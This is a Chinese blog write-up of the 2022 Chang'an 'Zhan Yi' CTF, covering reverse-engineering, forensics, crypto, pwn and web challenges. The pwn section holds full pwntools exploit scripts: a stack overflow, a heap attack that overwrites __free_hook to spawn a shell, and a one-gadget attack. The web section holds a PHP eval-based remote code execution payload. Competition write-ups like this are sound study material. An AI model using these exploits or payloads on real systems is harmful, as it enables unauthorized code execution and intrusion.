惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

SecWiki News
SecWiki News
I
InfoQ
The Cloudflare Blog
人人都是产品经理
人人都是产品经理
博客园 - Franky
T
Tailwind CSS Blog
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
量子位
博客园_首页
罗磊的独立博客
V
V2EX
李成银的技术随笔
大猫的无限游戏
大猫的无限游戏
钛媒体:引领未来商业与生活新知
钛媒体:引领未来商业与生活新知
T
True Tiger Recordings
Vercel News
Vercel News
Cyberwarzone
Cyberwarzone
Cisco Talos Blog
Cisco Talos Blog
F
Fox-IT International blog
D
Darknet – Hacking Tools, Hacker News & Cyber Security
M
Microsoft Research Blog - Microsoft Research
Know Your Adversary
Know Your Adversary
爱范儿
爱范儿
The Register - Security
The Register - Security
G
Google Developers Blog
The Hacker News
The Hacker News
Malwarebytes
Malwarebytes
S
Securelist
博客园 - 三生石上(FineUI控件)
Jina AI
Jina AI
T
Threat Research - Cisco Blogs
T
The Exploit Database - CXSecurity.com
S
SegmentFault 最新的问题
博客园 - 叶小钗
F
Fortinet All Blogs
Apple Machine Learning Research
Apple Machine Learning Research
宝玉的分享
宝玉的分享
博客园 - 聂微东
T
Threatpost
博客园 - 【当耐特】
D
Docker
P
Privacy & Cybersecurity Law Blog
www.infosecurity-magazine.com
www.infosecurity-magazine.com
G
GRAHAM CLULEY
V
Visual Studio Blog
C
Cisco Blogs
IT之家
IT之家
S
Security Archives - TechRepublic
Latest news
Latest news
阮一峰的网络日志
阮一峰的网络日志

Mox的笔记库

细嗦下MLIR的环境搭建 | Mox的笔记库 博客重构:从Hexo到Astro | Mox的笔记库 2026PPoPP MLIR Tutorial学习 | Mox的笔记库 MacOS配置《明日方舟:终末地》 | Mox的笔记库 2025:向内生长 | Mox的笔记库 由mlir::ExecutionEngine引发的跨系统问题 | Mox的笔记库 WSL2配置Cuda-Tile环境记录(未完待续) | Mox的笔记库 Vibe Coding手搓项目记录 | Mox的笔记库 给Debian上包——以DuckDB为例 | Mox的笔记库 UCPD.sys事件存档 | Mox的笔记库 换新电脑之Mac mini M4从购买到配置 | Mox的笔记库 Mac配置MLX-C开发环境 | Mox的笔记库 RISC-V meets RDBMS——RISC-V架构上可运行数据库一览 | Mox的笔记库 DuckDB Sort实现调查 | Mox的笔记库 修复Redis在树莓派5上无法运行的问题 | Mox的笔记库 如何在MLIR中自定义类型并且输出运行 | Mox的笔记库 网站网络结构变更记录 | Mox的笔记库 EDBT25论文阅读:PhoebeDB——A Disk-Based RDBMS Kernel for High-Performance and Cost-Effective OLTP SIGMOD25论文阅读:BPF-DB:——A Kernel-Embedded Transactional Database Management System For eBPF Applications SIGMOD24文章阅读:Query Compilation Without Regrets | Mox的笔记库 论文阅读:Designing an Open Framework for Query Optimization and Compilation Apache Arrow Gandiva项目解析 | Mox的笔记库 VLDB24论文阅读:Cloud-Native Database Systems and Unikernels——Reimagining OS Abstractions for Modern Hardware NoisePage源码分析(未完待续) | Mox的笔记库 VLDB20论文阅读:Mainlining Databases——Supporting Fast Transactional Workloads on Universal Columnar Data File Formats VLDB17论文阅读:Relaxed Operator Fusion for In-Memory Databases:Making Compilation, Vectorization, and Prefetching Work Together At Last 论文阅读:How not to structure your database-backed web applications——a study of performance bugs in the wild SIGMOD24阅读:ROME——Robust Query Optimization via Parallel Multi-Plan Execution 文章阅读:First Past the Post-Evaluating Query Optimization in MongoDB SIGMOD文章阅读:Apache Calcite——A Foundational Framework for Optimized Query Processing Over Heterogeneous Data Sources VLDB23论文阅读:Analyzing the Impact of Cardinality Estimation on Execution Plans in Microsoft SQL Server SIGMOD22论文阅读:Efficient Massively Parallel Join Optimization for Large Queries VLDB论文阅读:Weaving Relations for Cache Performance VLDB22论文阅读:ConnectorX——Accelerating Data Loading From Databases to Dataframes 论文阅读:UniKraft-Fast, Specialized Unikernels the Easy Way 当DuckDB遇上RISC-V | Mox的笔记库 SIGMOD25论文阅读:An Elephant Under The Microscope——Analyzing The Interaction Of Optimizer Components In PostgreSQL 论文阅读:Compile-Time Analysis of Compiler Frameworks for Query Compilation VLDB23阅读:Bringing Compiling Databases to RISC Architectures LingoDB源码编译与分析 | Mox的笔记库 淦!MLIR输出Hello World不应该这么难! | Mox的笔记库 如何愉快的运行一个MLIR程序 | Mox的笔记库 2024:拥挤年代的想象与创造 | Mox的笔记库 如何给自己的博客添加MLIR和LLVM IR语法高亮 | Mox的笔记库 VLDB19-Parsing Gigabytes of JSON per Second论文阅读 CIDR25:Runtime-Extensible Parsers阅读 | Mox的笔记库 MLIR学习资料整理 | Mox的笔记库 SIGMOD24文章阅读:VeriTxn | Mox的笔记库 VLDB23文章阅读——Exploiting Cloud Object Storage for High-Performance Analytics VLDB24——OLAP on Modern Chiplet-Based Processors走马观花阅读 VLDB22:YeSQL文章阅读(已废弃) | Mox的笔记库 如何让数据库中的Python跑的更快-VLDB22-YeSQL文章阅读 | Mox的笔记库 你好,世界! | Mox的笔记库 让系统研究更有意义:HarmonyOS NEXT的教训和经验——讲座回顾 | Mox的笔记库 UNSW 24T3 COMP9336上课记录 | Mox的笔记库 Velox开发环境配置踩坑记录 | Mox的笔记库 MLIR Toy Tutorial实践记录 | Mox的笔记库 论文阅读:Declarative Sub-Operators for Universal Data Processing LLVM-Kaleidoscope实操踩坑记录 | Mox的笔记库 2024年7月RSSHub开发体验 | Mox的笔记库 澳洲大学计算机硕士比较 | Mox的笔记库 论文阅读——CDUL:CLIP-Driven Unsupervised Learning for Multi-Label Image Classification 论批量快速添加图片与视频水印的事 | Mox的笔记库 CVPR2023-CLIP算法调研 | Mox的笔记库 基于元信息写入的服务器压力测试 | Mox的笔记库 MjAyMw==,希望,前进与平庸之道 | Mox的笔记库 家庭组网IPv6+Mesh折腾 | Mox的笔记库 code-server初体验 | Mox的笔记库 从Nginx到Caddy | Mox的笔记库 Hexo部署安装全流程回顾 | Mox的笔记库 RMM观察与初探 | Mox的笔记库 计算机网络课设——UDP/TCP/TLS Socket实验 | Mox的笔记库 JQuery的XSS初探 | Mox的笔记库 生产实习记录 | Mox的笔记库 Fedora-CoreOS配置与试用(2023年) | Mox的笔记库 Electron学习笔记 | Mox的笔记库 ServerSentEvent学习 | Mox的笔记库 报告翻译:容器云的安全挑战 | Mox的笔记库 Arch Linux迁移计划 | Mox的笔记库 Vagrant配置Metarget靶场环境 | Mox的笔记库 OpenAI-whisper折腾 | Mox的笔记库 202202,困惑,混乱与未曾设想之路 | Mox的笔记库 2022年Hack the box:Tier1免费区全解 | Mox的笔记库 Navidrome部署记录 | Mox的笔记库 长安杯2021-snake复现 | Mox的笔记库 报告概要翻译:OBFUSCATING C++ PROGRAMS VIA CONTROL FLOW FLATTENING 从零开始的Django CVE-2022-28346复现 | Mox的笔记库 2022CISCN(西北区赛)-The shinning | Mox的笔记库 Docker+QEMU+Arm64(Ubuntu)+环境配置(2022版) | Mox的笔记库 Arch Linux运行树莓派系统(2022年) | Mox的笔记库 2022CISCN初赛-ez_usb-复盘WriteUp | Mox的笔记库 NodeMCU-MicroPython配置实录 | Mox的笔记库 Django事务使用 | Mox的笔记库 记录第一次EduSRC上报 | Mox的笔记库 Jetbrain问题应急处理 | Mox的笔记库 Celery5.2学习&配置 | Mox的笔记库 Waline部署记录 | Mox的笔记库 2021年12月 Vivo千镜杯回顾 | Mox的笔记库 Frida hook初次实战 | Mox的笔记库 Log4j2漏洞复现 | Mox的笔记库
2022长安“战疫”网络安全卫士守护赛回顾 | Mox的笔记库
2022-01-08 · via Mox的笔记库

从从早上6点到晚上18点,除了去做核酸以外还没出过宿舍,(y1s1,中午快一点才把午餐送到,听说还闹了些不愉快的事情),先把题解写下,有的地方还需要日后补充(咕咕咕)

(持续更新中)

20221.1.13更新

四叶草还是给力,下面是复现靶场

https://www.yunyansec.com/#/experiment/expdetail/3

Reverse

别问为什么reverse的前三题和官网的一样(因为就是我出的),要是知道大佬们要来,题目难度肯定会再上一个档次

hello_py

flag{He110_cazy}

pyc用网上的工具解密完以后,异或运算解决

题解:

flag=[44, 100, 3, 50, 106, 90, 5, 102, 10, 112]

j=0

for i in flag:

if j%2==0:

flag[j]=flag[j]^flag[j+1]

j+=1

else:

flag[j]=flag[j]^j

j+=1

for i in range(len(flag)):

flag[i]=chr(flag[i])

flagstr=''

flagstr=''.join(flag)

print(flagstr)

cute_doge

普通的柴犬,戳一戳会发生什么奇妙的事情呢?

flag{Ch1na_yyds_cazy}

题解:

X64DBG动态调试,调试字符串,doge在被点第一下的时候会中断,中断过后会在X64DBG显示出flag

Snipaste_2021-12-28_12-15-19.png

combat_slogan

flag{We_w11l_f1ght_t0_end_t0_end_cazy}

题解:

.class字节码很容易反编译

rot13加密,配合ASCII码验证flag是否正确

lemon

小众语言,题解说是出自hitcon2021,但看着大佬用Python手写编译器是真的🐂

Misc

八卦迷宫

走迷宫,写拼音

Snipaste_2022-01-07_10-37-32.png

cazy{zhanzhangyangzhangzhanyanghezhangshananzhanyizhanyianyizhanganyang}

西安加油

wireshark->导出

有一个secret.txt和hint.txt

hint.txt的内容是base32加密,解密结果如下

9403.png is 0

8086.png is 1

7301.png is 2

7422.png is 3

3978.png is 4

8266.png is 5

7683.png is 6

5410.png is 7

4365.png is 8

2426.png is 9

9056.png is 10

3205.png is 11

6361.png is 12

9167.png is 13

3195.png is 14

5852.png is 15

9280.png is 16

9702.png is 17

8424.png is 18

1675.png is 19

3014.png is 20

7986.png is 21

8432.png is 22

7139.png is 23

4655.png is 24

7258.png is 25

3565.png is 26

5444.png is 27

7384.png is 28

2003.png is 29

8688.png is 30

5956.png is 31

3509.png is 32

9027.png is 33

1905.png is 34

6085.png is 35

7406.png is 36

1650.png is 37

8602.png is 38

9377.png is 39

1323.png is 40

7321.png is 41

2747.png is 42

7125.png is 43

1220.png is 44

7079.png is 45

5172.png is 46

5070.png is 47

打开secret.txt,发现里面是base64编码

先base64解码完以后,解码出来的hex粘贴到Winhex文件里,发现是一个压缩包,压缩包加压后会得到一堆图片

image-20220108182552605.png

按照hint的提示拼图即可

QQ图片20220108181349.jpg

cazy{make_xiAn_great_Again}

朴实无华的取证

学校网不好,193M的Raw下了很久

用volatility取证

临时学习了一下

狼组安全_Volatility取证分析工具

发现kali的软件源里面已经没有volatility,去github下载了一个二进制的2.5版本

└─$ ./volatility filescan -f xp_sp3.raw --profile=WinXPSP2x86 | grep flag

Volatility Foundation Volatility Framework 2.5

0x00000000017ad6a8 2 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip

0x00000000018efcb8 1 0 RW-rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\Recent\flag.lnk

0x0000000001b34f90 1 1 R--r-- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.zip

0x0000000001e65028 1 0 R--rw- \Device\HarddiskVolume1\Documents and Settings\Administrator\桌面\flag.png

把flag.png 给dump出来,最后解出来这张图,凯撒密码位移三位,但flag不在这里,最后也没做出来

file.None.0x81b737d8.png

8LDQ?ZL00? FHUWDLQ0B?VXFFHG?LQ?ILJKNLQJ?WKH?HSLGHPLF

//错误的flag

cazy{8IAN?WILL?CERTAINLY?SUCCED?IN?FIGHKING?THE?EPIDEMICMIC}

原因是少做了一步

volatility filescan -f xp_sp3.raw --profile=WinXPSP3x86 psscan

官方题解用的是这个,但是桌面中文不好打,其他队的题解是直接看Notepad

//官方

vol.py -f xp_sp3.raw --profile=WinXPSP3x86 filescan | grep "桌面"

//大佬

volatility -f xp_sp3.raw --profile=WinXPSP3x86 notepad

密码是20211209

解压文件,根据flag.zip的算法还原字符串即可

差点就做出来了!!!有点气人

Ez_steg

zip六位数字密码爆破

pyc字节码隐写

python 3.6以上用这个版本

https://github.com/c10udlnk/stegosaurus

没成功,不去尝试了

emoji-AES加密还是万万没想到的

https://aghorler.github.io/emoji-aes/

AES加密后的串Base64,然后mapping到了emoji

Binary

大佬们是怎么看出那是base64串

base64解出来后,01串大概率是二维码,用opencv解决即可

pipicc

学会jpg格式补齐了

  • (固定)八个字节89 50 4E 47 0D 0A 1A 0A为png的文件头

  • (固定)四个字节00 00 00 0D(即为十进制的13)代表数据块的长度为13

  • (固定)四个字节49 48 44 52(即为ASCII码的IHDR)是文件头数据块的标示(IDCH)

  • (可变)13位数据块(IHDR)

    • 前四个字节代表该图片的宽
    • 后四个字节代表该图片的高
    • 后五个字节依次为: Bit depth、ColorType、Compression method、Filter method、Interlace method
  • (可变)剩余四字节为该png的CRC检验码,由从IDCH到IHDR的十七位字节进行crc计算得到。

  • 最后IEND结尾

    找到IHDR-IEND,提取到另外一个hex就会出现jpg图像

  • JPEG图片以“FF D8”开头,以“FF D9”结尾

???

我也不知道怎么回事,记住就完事了

Crypto

no_cry_no_can

第一次做Crypto

题目长这样

from secret import flag,key

assert len(key) <= 5 //key限制5位

assert flag[:5] == b'cazy{'

def can_encrypt(flag,key):

block_len = len(flag) // len(key) + 1

new_key = key * block_len

return bytes([i^j for i,j in zip(flag,new_key)])

c = can_encrypt(flag,key)

print(c)

# b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

我们已知flag里面一定带有“cazy{”,那么Key必须得是5位,要正常实现zip操作new_key的长度要大于等于c(同时也大于flag)

原题是带有异或,基于异或运算的性质,只要把flag与答案异或,就能出现key

ans=b'<pH\x86\x1a&"m\xce\x12\x00pm\x97U1uA\xcf\x0c:NP\xcf\x18~l'

key=[95, 17, 50, 255, 97]*6 //key*6是为了保证大于C

temp=ans

ee=list([i^j for i,j in zip(temp,key)])

s=""

for i in ee:

s+=chr(i)

print(s)

cazy{y3_1s_a_h4nds0me_b0y!)

no_math_no_cry

算法分析起来不难,但当时bytes_to_long看的有点懵

看题解以后才发现根本就不影响

Copy 一下Timeline Sec的题解

import gmpy2

from Crypto.Util.number import long_to_bytes

c = 10715086071862673209484250490600018105614048117055336074437503883703510511248211671489145400471130049712947188505612184220711949974689275316345656079538583389095869818942817127245278601695124271626668045250476877726638182396614587807925457735428719972874944279172128411500209111406507112585996098530169

x = gmpy2.iroot(c - 0x0338470, 2)

m = (1 << 500) - x[0]

print(long_to_bytes(m))

Pwn

感谢Giles的支持,大家有机会去他的主页看看,

Pwn1

from pwn import *

p = remote("113.201.14.253",16088)

elf = ELF("./pwn1")

p.recvuntil("Gift:")

buf = int(p.recvuntil("\n"),16)

payload = ""

payload += p32(0x8048540)

payload += "A"*48

payload += p64(buf+4)

p.sendline(payload)

p.interactive()

Pwn2

#!/usr/bin/env python

from pwn import *

local = 0

debug = 1

binary = "./pwn2"

lib = "b/x86_64-linux-gnubc.so.6"

elf = ELF(binary)

context.log_level = "debug" if debug else "info"

if local:

p = process(binary)

libc = ELF(lib)

else :

p = remote("113.201.14.253",16066)

lib = ".bc-2.27.so"

libc = ELF(lib)

s = lambda buf : p.send(buf)

sl = lambda buf : p.sendline(buf)

sa = lambda delim, buf : p.sendafter(delim, buf)

sal = lambda delim, buf : p.sendlineafter(delim, buf)

sh = lambda : p.interactive()

r = lambda n=None : p.recv(n)

ru = lambda delim : p.recvuntil(delim)

r7f = lambda : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")

trs = lambda addr : libc.address+addr

gadget = lambda ins : libc.search(asm(ins,arch="amd64")).next()

tohex = lambda buf : "".join("\\x%02x"%ord(_) for _ in buf)

def add(size,content):

sal("Choice: ","1")

sal("size: ",str(size))

sal("content: ",content)

def free(id):

sal("Choice: ","3")

sal("idx: ",str(id))

def edit(id,content):

sal("Choice: ","2")

sal("idx: ",str(id))

sa("content: ",content)

def show(id):

sal("Choice: ","4")

sal("idx: ",str(id))

for _ in range(8):

add(0x88,"A"*8)

add(0x28,"B"*8)

for _ in range(8):

free(7-_)

add(0x18,"C"*7)

edit(0,"C"*8)

show(0)

libc.address = r7f()-224-0x10 - libc.sym["__malloc_hook"]

info("[+] libc base => 0x%x"%libc.address)

add(0x68,"aaaa")

add(0x18,"D"*8) #2

add(0x18,"E"*8)

add(0x18,"F"*8)

add(0x18,"G"*8)

free(2)

add(0x18,"A"*0x18+"\x41")

free(3)

free(5)

free(4)

add(0x38,"PPPPPP")

payload = "A"*0x18

payload += p64(0x21)

payload += p64(libc.sym["__free_hook"]-8)

payload += p64(0)

edit(3,payload)

add(0x18,"AAAAA")

add(0x18,"/bin\x00"+p64(libc.sym["system"]))

free(5)

sh()

Pwn3

#!/usr/bin/env python

from pwn import *

p = remote("113.201.14.253","16033")

elf = ELF("./Gpwn3")

libc = ELF("b/x86_64-linux-gnubc-2.23.so")

p.sendlineafter("You choice:","1")

p.sendafter("Give me a character level :","A"*(0x24-1)+"\x00")

p.sendlineafter("You choice:","2")

p.sendafter("Give me another level :","A")

p.sendlineafter("You choice:","2")

p.sendafter("Give me another level :","\xff"*8)

p.sendlineafter("You choice:","3")

p.recvuntil("Here's your reward: ")

puts = int(p.recvuntil("\n"),16)

libc.address = puts - libc.sym["puts"]

p.sendafter(":",p64(libc.address+0x5f0040+3848))

p.sendafter("you!",p64(libc.address+0xf1247))

p.interactive()

Web

RCE_No_Para

学弟的答案没看懂,准备复现中

题解将其称之为无参数rce

网站输入进去会显示源代码

<?php

if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['code'])) {

if(!preg_match('/session|end|next|header|dir/i',$_GET['code'])){

eval($_GET['code']);

}else{

die("Hacker!");

}

}else{

show_source(__FILE__);

}

?>

不太了解

目前只知道Payload是

?code=system(array_rand(array_flip(current(get_defined_vars()))));&b=cat%09flag.php

下面是学弟的题解:

这段代码考察正则表达式

”[]“表示匹配的开始和结束,”^“表示取反,\W匹配非字母、数字、下划线等。等同于 [^A-Za-z0-9_],( 和)表示匹配括号,(?R)表示递归表达式本身,最后一个”?”表示匹配1个或者0个表达式本身。

所以这个正则表达式是要把对应形式的内容提取出来,然后通过preg_replace函数,用空字符串进行代替,得到一个字符串。这个字符串是完全等同于“;”的。

因为这个正则表达式的限制,所以我们在payload里使用的函数必须是无参的。

然后看另外一个if的内容

/session|end|next|header|dir/i

“ / “ 表示表达式的开头和结尾,结尾的i表示不区分大小写,用|分隔多种匹配情况

所以payload里不能含有session、end、next、header、dir

刚开始没注意第二个if所给的限制,只注意到了无参,所以以为只是简单的远程命令执行

最先想到的是session_id结合hex2bin函数

第一个payload:

eval("eval(hex2bin(session_id(session_start())));");

然后就报错了。。。

第二个payload:

利用get_defined_vars函数

eval(end(current(get_defined_vars())));

结果包含end又报错了。。。

最后的payload:

?1551=system(&apos;tac flag.php&apos;);&code=eval(pos(pos(get_defined_vars())));

打入得到flag

Shiro?

他们说用log4j打

我自己的复现过程可以看这篇

Log4j2漏洞复现 | Mox的笔记库

总结

期待四叶草出的两道逆向题的题解,第一次做出密码学题目,还是有不少收获的

第一次知道wireshark可以导出http传输的文件,不然之前都是走binwalk大法

大佬题解传送门(真的强)

2021 长安“战疫”网络安全卫士守护赛 WriteUp

Timeline Sec的题解

ChamMd5的题解

四叶草官方题解